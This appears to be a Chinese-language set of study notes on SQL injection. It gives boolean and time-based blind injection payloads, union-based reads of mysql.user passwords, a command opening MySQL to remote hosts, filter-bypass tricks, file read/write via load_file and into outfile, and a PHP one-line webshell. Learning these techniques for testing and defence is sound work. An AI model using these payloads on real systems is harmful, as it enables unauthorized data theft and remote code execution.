bool注入
有的时候页面只会告诉真假,这个时候则可以进行bool类型的注入
如判断数据库长度:
1 | select * from news where id=1 and length(database())=1; |
这个时候就可以通过页面的显示来判断数据库的长度是否为1,如果是1则会输出真,如果不为1则输出的是错误的。
用=号的运行时间比较长,则可以采用大于小于号来判断:
1 | select * from news where id=1 and length(database())>2; |
像是在问问题,如下面的例子去判别database的名字:
1 | select * from news where id=1 and substr(database(),1,1)='c'; |
在注入场景中:
盲注
1 | # ascii:97-122代表a-z |
ascii只能获取一位
获取表名:
1 | and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 |
获取列:
1 | and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = ...limit 0,1),1,1))>100 |
…代表表的名称
注:右键查看源代码可以查看源代码
时间盲注 延时注入
sleep()函数
1 | select 1 and sleep(10) |
1 | if(a,b,c) |
1 | select if(length(database())>10,sleep(5),3) |
正确的时候体现在延时的时间中,此方法的应用场景在于当布尔盲注返回包通过长度或者其他信息区分不开时的应用,通过一个别的信息进行反馈。
注入类型:
- 报错注入
- union select 1,2,3(为了区分具体的输出,输出是哪一位)(get型报错)
- 盲注{bool,time}
权限
本机地址
远程可连接地址
%代表所有的都可以连接
update修改具体字段的值
1 | update mysql.user set host='%' where host='localhost' |
刷新权限:flush privileges
1 | union select 1,password,3 from mysql.user |
magic_quotes_gqc
addslashes()函数转义,整形不受影响
拦截:and,php中的语句:
1 | if(strpos($id,"and")!=false){ |
- 在注入点处可以使用order by来进行判断语句是否闭合,这种情况可以使用大小写的改变来完成逃避;
- 如果程序中判断=,在sql中可以使用like来进行替代;
- 如果防止以上的情况,可以采用全转大写或者小写的方式
过滤绕过
如果程序中会识别union然后将union删除,则可以采用:ununionion,删除一个union还能剩一个union
mysql导入导出
读取
- 路径一般使用:/ \是转义;
1
select load_file('路径')
如何得到文件地址:
- phpinfo.php可以得到根路径
读取文件所需的条件:
- 可读权限{mysql用户权限,文件读取权限}
- 读取的文件路径
读取之后一般采用转换成16进制的方式,比较好看,再找工具进行转换回去
写入
1 | select 1 into outfile"路径" |
权限标识符:secure-file-priv
有三个值:
- NULL 不能写入
- “” 可以任意写入
- 一个路径 只能写到这个路径下面
php函数
- 扫描所有的文件:
scandir(路径)
- 可以直接执行命令
shell_exec
,exec
函数- 可以更改其权限:
disable_functions=shell_exec,exec
eval()
直接执行php代码,直接执行,不用<php??>
叫做一句话木马,也叫webshell- 一句话木马如:
eval(@$_GET['cmd']);
- 实际上就是里面的php代码任意执行
- 其中eval就是执行命令的函数,
$_GET['cmd']
就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。
- 一句话木马如:
蚁剑
文件编辑上传
大马
- angel.php 发送命令 功能多 由服务器上的文件执行
防火墙–>服务器上面的文件执行 - 一句话木马:本地执行